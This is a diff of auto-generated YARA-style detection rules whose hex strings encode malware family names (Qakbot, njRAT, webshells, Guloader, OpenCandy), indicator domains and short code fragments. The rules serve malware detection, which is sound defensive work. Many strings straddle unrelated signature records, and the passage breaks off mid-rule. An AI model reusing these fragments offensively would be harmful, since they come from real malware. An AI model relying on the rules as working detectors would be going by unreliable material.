meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -68385,20 +71989,20 @@ rule _InfrastructureShared_6555{ ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*17210+(#a_3a_2 & 1)*24938) >=3 } -rule _InfrastructureShared_6556{ +rule _InfrastructureShared_6901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {43 6f 6e 73 74 72 75 63 74 6f 72 3a 4d 53 49 4c 2f 6e 6a 52 41 54 2e 41 21 52 41 54 00 01 00 04 01 6e 6a 71 38 01 00 07 01 44 61 72 6b 53 65 6c 01 00 08 01 70 72 30 74 30 66 61 67 01 00 12 01 52 6f 63 6b 69 6e 67 57 69 74 68 54 } //16675 $a_65_1 = {74 01 00 08 01 43 6f 42 72 41 78 58 78 00 00 78 6c 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 64 69 6e 6f 6b 69 62 69 43 72 79 70 74 2e 53 51 21 4d 54 42 } //25960 - $a_fb_3 = {01 02 00 00 75 90 01 01 6a 00 6a 00 6a 00 6a 00 ff d5 a1 90 01 04 69 c0 90 01 02 05 90 01 02 a3 90 01 02 8a 0d 90 01 02 30 0c 3e 46 3b f3 7c 90 00 00 00 78 6c 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 33 39 00 02 00 1d 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 2f 61 70 70 2f 77 69 6e 64 6f 77 73 74 61 62 01 } //-117 - $a_01_4 = {77 69 6e 64 6f 77 73 74 61 62 2e 70 68 70 01 00 09 80 01 4e 65 74 58 74 72 65 6d 65 00 00 78 6c 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 32 00 02 00 14 80 01 77 77 77 2e 6d 6f 75 73 65 72 65 6c 65 61 73 65 2e 63 6f 6d 01 00 10 80 01 6d 6f 75 73 65 72 65 6c 65 61 73 65 5f 69 6e 73 01 00 10 80 01 73 70 65 6c } //3584 + $a_fb_3 = {01 02 00 00 75 90 01 01 6a 00 6a 00 6a 00 6a 00 ff d5 a1 90 01 04 69 c0 90 01 02 05 90 01 02 a3 90 01 02 8a 0d 90 01 02 30 0c 3e 46 3b f3 7c 90 00 00 00 78 6c 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 32 00 02 00 14 80 01 77 77 77 2e 6d 6f 75 73 65 72 65 6c 65 61 73 65 2e 63 6f 6d 01 00 10 80 01 6d 6f 75 73 65 } //-117 + $a_65_4 = {73 65 5f 69 6e 73 01 00 10 80 01 73 70 65 6c 6c 2f 63 6f 6e 66 69 67 2e 70 68 70 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 58 65 74 61 70 70 2e 50 21 4d 54 42 00 01 00 06 00 58 65 74 61 70 70 01 00 0f 80 01 63 61 6d 70 61 69 67 6e 3d 79 61 6e 64 65 78 01 00 0e 80 01 63 61 6d 70 61 } //25970 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25960+(#a_fb_3 & 1)*-117+(#a_01_4 & 1)*3584) >=3 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25960+(#a_fb_3 & 1)*-117+(#a_65_4 & 1)*25970) >=3 } -rule _InfrastructureShared_6557{ +rule _InfrastructureShared_6902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -68408,56 +72012,71 @@ rule _InfrastructureShared_6557{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_6558{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 33 39 00 02 00 1d 80 01 77 77 77 2e 6d 75 75 6b 2e 63 6f 2e 6b 72 2f 61 70 70 2f 77 69 6e 64 6f 77 73 74 61 62 01 00 0e 80 01 77 69 6e 64 6f 77 73 74 61 62 } //16675 - $a_70_1 = {00 09 80 01 4e 65 74 58 74 72 65 6d 65 00 00 78 6c 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 32 00 02 00 14 80 01 77 77 77 2e 6d 6f 75 73 65 72 65 6c 65 61 73 65 2e 63 6f 6d 01 00 10 80 01 6d 6f 75 73 65 72 65 6c 65 61 73 65 5f 69 6e 73 } //28718 - $a_80_2 = {73 70 65 6c 6c 2f 63 6f 6e 66 69 67 2e 70 68 70 } //spell/config.php 1 - condition: - ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*28718+(#a_80_2 & 1)*1) >=4 - -} -rule _InfrastructureShared_6559{ +rule _InfrastructureShared_6903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " strings : $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 32 00 02 00 14 80 01 77 77 77 2e 6d 6f 75 73 65 72 65 6c 65 61 73 65 2e 63 6f 6d 01 00 10 80 01 6d 6f 75 73 65 72 65 6c 65 61 73 65 5f 69 6e 73 01 00 10 } //16675 $a_70_1 = {6c 6c 2f 63 6f 6e 66 69 67 2e 70 68 70 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 58 65 74 61 70 70 2e 50 21 4d 54 42 00 01 00 06 00 58 65 74 61 70 70 01 00 0f 80 01 63 61 6d 70 61 69 67 6e 3d 79 61 6e 64 65 78 01 00 0e 80 01 63 61 6d 70 61 69 67 6e 3d 6f 70 65 72 61 01 00 11 80 01 2f 78 65 74 2e 61 70 } //384 - $a_65_2 = {74 69 6e 67 73 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 62 72 61 64 6f 70 5f 64 65 65 70 5f 65 6d 75 5f 68 65 6c 70 65 72 00 01 00 0e 01 5c 4d 79 53 71 6c 4e 65 74 2e 70 61 73 00 01 00 0c 01 5c 43 52 48 74 74 70 2e 70 61 73 00 01 00 11 01 5c 43 52 56 69 6f 54 63 70 53 53 4c 2e 70 61 73 00 01 00 10 01 4d 5a 52 c3 28 43 29 42 65 52 6f 21 50 45 } //12144 + $a_65_2 = {74 69 6e 67 73 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 63 65 61 6e 44 72 69 66 74 2e 42 21 64 68 61 00 01 00 0a 01 00 69 6e 66 6f 2e 74 78 74 00 01 00 0b 01 00 61 6c 69 76 65 2e 74 78 74 00 01 00 0f 01 00 6f 6e 65 64 72 69 76 65 5f 70 61 74 68 00 01 00 0c 01 00 61 67 65 6e 74 5f 70 61 74 } //12144 condition: ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*384+(#a_65_2 & 1)*12144) >=4 } -rule _InfrastructureShared_6560{ +rule _InfrastructureShared_6904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 58 65 74 61 70 70 2e 50 21 4d 54 42 00 01 00 06 00 58 65 74 61 70 70 01 00 0f 80 01 63 61 6d 70 61 69 67 6e 3d 79 61 6e 64 65 78 01 00 0e 80 01 63 61 6d 70 61 69 67 6e 3d 6f 70 65 72 61 01 00 11 80 } //16675 - $a_65_1 = {2e 61 70 70 2f 73 65 74 74 69 6e 67 73 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 62 72 61 64 6f 70 5f 64 65 65 70 5f 65 6d 75 5f 68 65 6c 70 65 72 00 01 00 0e 01 5c 4d 79 53 71 6c 4e 65 74 2e 70 61 73 00 01 00 0c 01 5c 43 52 48 74 74 70 2e 70 61 73 00 01 00 11 01 5c 43 52 56 69 6f 54 63 70 53 53 4c 2e 70 61 73 00 01 00 10 01 4d 5a 52 c3 28 43 29 42 65 52 6f } //12033 - $a_00_2 = {00 01 00 78 6c 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 58 48 21 4d 54 42 00 05 00 3f 01 28 39 00 00 0a a2 25 1a 72 9c 01 00 70 20 a2 f0 00 00 28 } //20513 + $a_65_1 = {2e 61 70 70 2f 73 65 74 74 69 6e 67 73 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 63 65 61 6e 44 72 69 66 74 2e 42 21 64 68 61 00 01 00 0a 01 00 69 6e 66 6f 2e 74 78 74 00 01 00 0b 01 00 61 6c 69 76 65 2e 74 78 74 00 01 00 0f 01 00 6f 6e 65 64 72 69 76 65 5f 70 61 74 68 00 01 00 0c 01 00 61 67 65 6e 74 5f } //12033 + $a_68_2 = {00 00 78 6c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 55 31 21 4d 54 42 00 01 00 0d 81 01 73 76 61 6d 70 65 6a 61 67 74 65 72 73 01 00 09 81 01 6c 75 70 70 65 72 6e 65 73 01 00 0c 81 01 68 79 70 65 72 61 6b 74 75 65 6c 74 01 00 0f 81 01 62 6f 6c 69 67 73 69 74 75 61 74 69 6f 6e 73 00 00 78 6c } //24944 + $a_00_3 = {04 00 04 00 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12033+(#a_00_2 & 1)*20513) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12033+(#a_68_2 & 1)*24944+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_6561{ +rule _InfrastructureShared_6905{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 63 65 61 6e 44 72 69 66 74 2e 42 21 64 68 61 00 01 00 0a 01 00 69 6e 66 6f 2e 74 78 74 00 01 00 0b 01 00 61 6c 69 76 65 2e 74 78 74 00 01 00 0f 01 00 6f 6e 65 64 72 69 76 65 5f 70 61 74 } //16675 + $a_00_1 = {0c } //104 + $a_67_2 = {6e 74 5f 70 61 74 68 00 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 55 31 21 4d 54 42 00 01 00 0d 81 01 73 76 61 6d 70 65 6a 61 67 74 65 72 73 01 00 09 81 01 6c 75 70 70 65 72 6e 65 73 01 00 0c 81 01 68 79 70 65 72 61 6b 74 75 } //1 + $a_01_3 = {00 0f 81 01 62 6f 6c 69 67 73 69 74 75 61 74 69 6f 6e 73 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 62 72 61 64 6f 70 5f 64 65 65 70 5f 65 6d 75 5f 68 65 6c 70 65 72 00 01 00 0e 01 5c 4d 79 53 71 6c 4e 65 74 2e 70 61 73 00 01 00 0c 01 5c 43 52 48 74 74 70 2e 70 61 73 00 01 00 11 01 5c 43 52 56 69 6f 54 63 70 53 53 4c 2e 70 61 73 00 01 00 10 01 4d } //27749 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*104+(#a_67_2 & 1)*1+(#a_01_3 & 1)*27749) >=4 + +} +rule _InfrastructureShared_6906{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 55 31 21 4d 54 42 00 01 00 0d 81 01 73 76 61 6d 70 65 6a 61 67 74 65 72 73 01 00 09 81 01 6c 75 70 70 65 72 6e 65 73 01 00 0c 81 01 68 79 70 65 72 61 6b 74 75 65 6c 74 01 00 0f 81 01 62 6f 6c 69 } //18467 + $a_74_1 = {61 74 69 6f 6e 73 00 00 78 6c 00 00 04 00 04 00 04 00 21 23 62 72 61 64 6f 70 5f 64 65 65 70 5f 65 6d 75 5f 68 65 6c 70 65 72 00 01 00 0e 01 5c 4d 79 53 71 6c 4e 65 74 2e 70 61 73 00 01 00 0c 01 5c 43 52 48 74 74 70 2e 70 61 73 00 01 00 11 01 5c 43 52 56 69 6f 54 63 70 53 53 4c 2e 70 61 73 00 01 00 10 01 4d 5a 52 } //29543 + $a_29_2 = {65 52 6f 21 50 45 00 00 01 00 78 6c 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 58 48 21 4d 54 42 00 05 00 3f 01 28 39 00 00 0a a2 25 1a 72 9c } //10435 + $a_20_3 = {f0 00 00 28 1a 00 00 06 a2 28 3a 00 00 0a 13 0d 28 39 00 00 0a 72 06 02 00 70 20 e6 f3 00 00 28 1a 00 00 06 28 3b 00 00 0a 11 0d 28 3c 00 00 0a 00 00 78 6c 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 02 00 0d 80 01 6f 70 65 6e 63 61 6e 64 79 2e 63 6f 6d 01 00 10 80 01 4f 70 65 6e 43 61 6e } //1 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29543+(#a_29_2 & 1)*10435+(#a_20_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_6907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_61_0 = {6f 70 5f 64 65 65 70 5f 65 6d 75 5f 68 65 6c 70 65 72 00 01 00 0e 01 5c 4d 79 53 71 6c 4e 65 74 2e 70 61 73 00 01 00 0c 01 5c 43 52 48 74 74 70 2e 70 61 73 00 01 00 11 01 5c 43 52 56 69 6f 54 63 70 53 53 4c 2e 70 61 73 00 01 00 10 01 4d 5a 52 c3 28 43 29 42 65 52 6f 21 50 45 00 00 01 00 78 6c 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 } //25123 $a_6e_1 = {4d 53 49 4c 2f 53 6d 61 6c 6c 2e 45 41 58 48 21 4d 54 42 00 05 00 3f 01 28 39 00 00 0a a2 25 1a 72 9c 01 00 70 20 a2 f0 00 00 28 1a 00 00 06 a2 28 3a 00 00 0a 13 0d 28 39 00 00 0a 72 06 02 00 70 20 e6 f3 00 00 28 1a 00 00 06 28 3b 00 00 0a 11 0d 28 3c 00 00 0a 00 00 78 6c 00 00 05 00 05 00 } //27247 - $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 47 4b 21 4d 54 42 00 } //1 - $a_01_3 = {73 34 00 00 0a 13 0c 73 bc 00 00 0a 26 11 0c 09 11 0b 6f b7 00 00 0a 6f 49 00 00 0a 6f 2d 00 00 0a 11 0a 6f 2e 00 00 0a 11 0c 6f 2f 00 00 0a 26 11 0b 17 58 13 0b 11 0b 11 05 32 c4 } //5 + $a_23_2 = {55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 02 00 0d 80 01 6f 70 65 6e 63 61 6e 64 79 } //4 + $a_6d_3 = {00 10 80 01 4f 70 65 6e 43 61 6e 64 79 20 6f 66 66 65 72 73 01 00 07 80 01 4f 43 4f 66 66 65 72 01 00 16 80 01 53 4f 46 54 57 41 52 45 5c 4f 70 65 6e 43 61 6e 64 79 5c 73 64 6b 00 00 78 6c 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6e 65 72 69 63 5f 63 37 66 64 38 64 33 38 00 01 00 0b 80 } //25390 condition: - ((#a_61_0 & 1)*25123+(#a_6e_1 & 1)*27247+(#a_23_2 & 1)*1+(#a_01_3 & 1)*5) >=4 + ((#a_61_0 & 1)*25123+(#a_6e_1 & 1)*27247+(#a_23_2 & 1)*4+(#a_6d_3 & 1)*25390) >=4 } -rule _InfrastructureShared_6562{ +rule _InfrastructureShared_6908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -68467,17 +72086,19 @@ rule _InfrastructureShared_6562{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_6563{ +rule _InfrastructureShared_6909{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 47 4b 21 4d 54 42 00 05 00 3c 01 73 34 00 00 0a 13 0c 73 bc 00 00 0a 26 11 0c 09 11 0b 6f b7 00 00 0a 6f 49 00 00 0a 6f 2d 00 00 0a 11 0a 6f 2e 00 00 0a 11 0c } //16675 + $a_41_0 = {42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 02 00 0d 80 01 6f 70 65 6e 63 61 6e 64 79 2e 63 6f 6d 01 00 10 80 01 4f 70 65 6e 43 61 6e 64 79 20 6f 66 66 65 72 73 01 00 07 80 01 4f 43 4f 66 66 65 72 01 00 16 80 01 53 4f 46 54 57 41 52 45 5c 4f 70 65 6e } //20515 + $a_64_1 = {5c 73 64 6b 00 00 78 6c 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 65 6e 65 72 69 63 5f 63 37 66 64 38 64 33 38 00 01 00 0b 80 01 50 43 52 45 44 45 4e 54 49 41 4c 01 00 07 80 01 67 48 6f 74 6b 65 79 01 00 09 80 01 45 46 4f 52 4d 41 54 45 58 01 00 06 80 01 5a 4c 69 62 45 78 01 00 06 80 01 } //24899 + $a_6f_2 = {21 00 00 78 6c 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 54 6f 55 73 65 57 6d 69 2e 41 00 01 00 0d 80 01 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 01 00 0b 80 01 43 6f 6d 6d 61 6e 64 4c 69 6e 65 01 00 0b 80 01 52 65 74 75 72 6e 56 61 6c 75 65 01 00 0a 80 01 53 68 6f 77 57 69 6e 64 6f 77 01 00 06 80 01 43 72 65 61 } //21049 condition: - ((#a_46_0 & 1)*16675) >=5 + ((#a_41_0 & 1)*20515+(#a_64_1 & 1)*24899+(#a_6f_2 & 1)*21049) >=5 } -rule _InfrastructureShared_6564{ +rule _InfrastructureShared_6910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -68491,7 +72112,7 @@ rule _InfrastructureShared_6564{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23041+(#a_4c_2 & 1)*28257+(#a_6f_3 & 1)*24434+(#a_52_4 & 1)*20550) >=5 } -rule _InfrastructureShared_6565{ +rule _InfrastructureShared_6911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -68504,7 +72125,7 @@ rule _InfrastructureShared_6565{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_6c_2 & 1)*0+(#a_46_3 & 1)*16675) >=5 } -rule _InfrastructureShared_6566{ +rule _InfrastructureShared_6912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -68518,7 +72139,7 @@ rule _InfrastructureShared_6566{ ((#a_41_0 & 1)*20515+(#a_62_1 & 1)*29537+(#a_72_2 & 1)*269+(#a_00_3 & 1)*-15778+(#a_8b_4 & 1)*3108) >=5 } -rule _InfrastructureShared_6567{ +rule _InfrastructureShared_6913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -68532,7 +72153,7 @@ rule _InfrastructureShared_6567{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*26625+(#a_43_3 & 1)*-9845+(#a_49_4 & 1)*19770+(#a_00_5 & 1)*30720) >=6 } -rule _InfrastructureShared_6568{ +rule _InfrastructureShared_6914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -68543,7 +72164,7 @@ rule _InfrastructureShared_6568{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-15778) >=7 } -rule _InfrastructureShared_6569{ +rule _InfrastructureShared_6915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -68553,7 +72174,7 @@ rule _InfrastructureShared_6569{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_6570{ +rule _InfrastructureShared_6916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -68563,7 +72184,7 @@ rule _InfrastructureShared_6570{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_6571{ +rule _InfrastructureShared_6917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -68574,30 +72195,44 @@ rule _InfrastructureShared_6571{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112) >=10 } -rule _InfrastructureShared_6572{ +rule _InfrastructureShared_6918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0a 00 02 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 47 4f 21 4d 54 42 00 0a 00 2f 02 8b 4d f4 83 c1 01 89 4d f4 81 7d f4 3f 85 00 00 73 1d 6a 00 6a 00 ff 15 90 01 04 89 45 dc 8b 55 d4 52 8b 45 dc 50 } //21539 - $a_01_1 = {04 eb d1 90 00 01 00 0b 80 01 6f 6c 65 33 34 35 34 2e 64 6c 6c 00 00 78 6c 00 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4f 70 74 69 6d 75 6d 49 6e 73 74 61 6c 6c 65 72 00 02 00 0c 01 23 57 49 4e 44 4f 57 53 50 41 54 48 02 00 0a 01 25 73 20 28 25 73 3a 25 64 29 02 00 08 01 25 73 25 73 2e 64 6c 6c 05 00 10 01 6f 70 74 69 6d 75 6d 69 6e 73 74 61 6c 6c 65 72 00 00 78 6c 00 00 2c 01 2c 01 03 } //5631 + $a_01_1 = {04 eb d1 90 00 01 00 0b 80 01 6f 6c 65 33 34 35 34 2e 64 6c 6c 00 00 78 6c 00 00 0b 00 0b 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4f 70 74 69 6d 75 6d 49 6e 73 74 61 6c 6c 65 72 00 02 00 0c 01 23 57 49 4e 44 4f 57 53 50 41 54 48 02 00 0a 01 25 73 20 28 25 73 3a 25 64 29 02 00 08 01 25 73 25 73 2e 64 6c 6c 05 00 10 01 6f 70 74 69 6d 75 6d 69 6e 73 74 61 6c 6c 65 72 00 00 78 6c 00 00 1c 00 1c 00 04 } //5631 condition: ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*5631) >=10 } -rule _InfrastructureShared_6573{ +rule _InfrastructureShared_6919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " strings : $a_54_0 = {3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 4f 70 74 69 6d 75 6d 49 6e 73 74 61 6c 6c 65 72 00 02 00 0c 01 23 57 49 4e 44 4f 57 53 50 41 54 48 02 00 0a 01 25 73 20 28 25 73 3a 25 64 29 02 00 08 01 25 73 25 73 2e 64 6c 6c 05 00 10 01 6f 70 74 69 6d } //18467 - $a_6e_1 = {74 61 6c 6c 65 72 00 00 78 6c 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 63 43 68 65 63 6b 2e 42 21 64 68 61 00 64 00 17 01 6d 61 69 6e 2e 63 68 65 63 6b 54 61 72 67 65 74 73 2e 66 75 6e 63 31 64 00 0a 01 6d 61 69 6e 2e 67 6f 5f 67 6f 64 00 10 41 c7 44 24 } //28021 - $a_24_3 = {b8 64 d9 e8 } //-14592 + $a_6e_1 = {74 61 6c 6c 65 72 00 00 78 6c 00 00 1c 00 1c 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 53 68 65 6c 6c 2e 4d 52 21 4d 54 42 00 08 00 0b 01 00 20 91 5b 8d 40 0a 2b 00 06 2a 0a 00 0b 01 00 20 bf ce 09 f8 0a 2b 00 06 2a 05 00 10 01 7a 6c 7a 78 74 6f 6c 6f 67 69 6e 5f 61 73 70 78 05 00 0c } //28021 + $a_6c_2 = {5a 54 55 73 65 72 49 64 00 00 78 6c 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 63 43 68 65 63 6b 2e 42 21 64 68 61 00 64 00 17 01 6d 61 69 6e 2e 63 68 65 63 6b 54 61 72 67 65 74 73 2e 66 75 6e 63 31 64 00 0a 01 6d 61 69 6e 2e 67 6f 5f 67 6f 64 00 } //26625 + $a_44_3 = {04 45 00 00 00 c7 04 24 00 b8 64 d9 e8 00 00 78 6c 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 6c 64 54 65 63 68 2e 41 21 64 68 61 00 64 00 11 01 6d 70 43 4d 44 3d 25 73 26 6d 70 56 49 44 3d 25 73 64 00 10 01 6d 70 56 43 52 3d 25 73 26 6d 70 49 44 3d 25 73 64 00 13 01 45 72 72 6f 72 20 63 72 65 61 74 69 6e 67 20 70 69 70 65 00 00 78 6c 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6c 61 63 6b 50 75 70 70 65 74 2e 41 21 64 68 61 00 64 00 37 01 48 3a 5c 30 31 5f 5f 5f 54 6f 6f 6c 73 5c 30 32 5f } //16656 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28021+(#a_24_3 & 1)*-14592) >=11 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*28021+(#a_6c_2 & 1)*26625+(#a_44_3 & 1)*16656) >=11 } -rule _InfrastructureShared_6574{ +rule _InfrastructureShared_6920{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 53 68 65 6c 6c 2e 4d 52 21 4d 54 42 00 08 00 0b 01 00 20 91 5b 8d 40 0a 2b 00 06 2a 0a 00 0b 01 00 20 bf ce 09 f8 0a 2b 00 06 2a 05 00 10 01 7a 6c 7a 78 74 6f 6c } //21539 + $a_6e_1 = {61 73 70 78 05 00 0c 01 68 66 6c 64 5a 54 55 73 65 72 49 64 00 00 78 6c 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 63 43 68 65 63 6b 2e 42 21 64 68 61 00 64 00 17 01 6d 61 69 6e 2e 63 68 65 63 6b 54 61 72 67 65 74 73 2e 66 75 6e 63 31 64 00 0a 01 6d 61 69 } //26479 + $a_6f_2 = {67 6f 64 00 10 41 c7 44 24 04 45 00 00 00 c7 04 24 00 b8 64 d9 e8 00 00 78 6c 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 6c 64 54 65 63 68 2e 41 21 64 68 61 00 64 00 11 01 6d 70 43 4d 44 3d 25 73 26 6d 70 56 49 44 3d 25 73 64 00 10 01 6d 70 56 43 52 3d 25 73 } //11886 + $a_49_3 = {3d 25 73 64 00 13 01 45 72 72 6f 72 20 63 72 65 61 74 69 6e 67 20 70 69 70 65 00 00 78 6c 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 6c 61 63 6b 50 75 70 70 65 74 2e 41 21 64 68 61 00 64 00 37 01 48 3a 5c 30 31 5f 5f 5f 54 6f 6f 6c 73 5c 30 32 5f 5f 52 41 54 5c 42 6c 61 63 6b 5c 42 } //27942 + condition: + ((#a_4c_0 & 